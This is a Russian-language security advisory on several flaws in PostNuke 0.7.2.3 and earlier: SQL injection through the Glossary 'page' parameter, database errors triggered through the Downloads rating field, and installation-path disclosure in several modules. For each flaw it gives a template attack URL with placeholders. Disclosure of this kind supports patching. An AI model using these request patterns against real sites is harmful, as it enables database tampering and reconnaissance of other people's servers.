Несколько уязвимостей обнаружено в PostNuke. Удаленный пользователь может выполнить DoS нападение против связанной базы данных и внедрить произвольные SQL команды. Также удаленный пользователь может определить инсталляционный путь.
Сообщается, что модуль Glossary не фильтрует данные, представленные пользователем в переменной
page. В результате удаленный пользователь может сконструировать URL, который выполнит произвольные SQL команды на основной базе данных. Пример:
http://[TARGET]/modules.php?op=modload&name=Glossary&file=index&
page=`[HERE COMES YOUR RANDOM DATA OR SQL QUERY]
Также сообщается, что системе рейтинга не проверяет значения рейтинга, представленные пользователем. Удаленный пользователь может представить случайные символы в поле рейтинга, чтобы вызвать ошибку на связанной базе данных. Пример:
http://[TARGET]/modules.php?op=modload&name=Downloads&file=index&req=
addrating&ratinglid=[DOWNLOADID]
&ratinguser=[REMOTE USER]&ratinghost_name= [REMOTE HOST;-)] &rating=[YOUR RANDOM CONTENT]
Также сообщается, что модули Downloads и 'WebLinks раскрывают инсталляционный путь удаленному пользователю. Пример:
http://[TARGET]/modules.php?op=modload&name= Downloads&file=index&req=viewdownloaddetails&
lid=[RANDOM NUMERIC CONTENT]
http://[TARGET]/modules.php?op=modload&name= Downloads&file=index&req=viewdownloadcomments&
lid=[RANDOM NUMERIC CONTENT]
http://[TARGET]/modules.php?op=modload&name= Downloads&file=index&req=viewdownloadeditorial&
lid=[RANDOM NUMERIC CONTENT]
http://[TARGET]/modules.php?op=mod load&name= Downloads&file=index&req=brokendownload&
lid=[RANDOM NUMERIC CONTENT]
http://[TARGET]/modules.php?op=modload&name= Downloads&file=index&req=outsidedownloadsetup
&lid=[RANDOM NUMERIC CONTENT]
Модуль Sections также раскрывает инсталляционный путь удаленному пользователю. Пример:
http://[TARGET]/modules.php?op=modload&name= Sections&file=index&req=listarticles&secid=
[BLANK]
http://[TARGET]/modules.php?op=modload&name= Sections&file=index&req=listarticles&secid=
[RANDOM CONTENT]
http://[TARGET]/modules.php?op=modload&name= Sections&file=index&req=viewarticle&artid=
[BLANK]
http://[ TARGET]/modules.php?op=modload&name= Sections&file=index&req=viewarticle&artid=
[RANDOM CONTENT]
Модуль FAQ также раскрывает инсталляционный путь удаленному пользователю. Пример:
http://[TARGET]/modules.php?op=modload&name=FAQ &file=index&myfaq=yes&id_cat=`
[RANDOM CHARACTERS]
Секция Reviews также раскрывает инсталляционный путь удаленному пользователю. Пример:
http://[TARGET]/modules.php?op=modload&name=Reviews &file=index&req=showcontent&id=`[RANDOM]
Уязвимость обнаружена в PostNuke 0.7.2.3 and prior versions
(0.7.x.x).
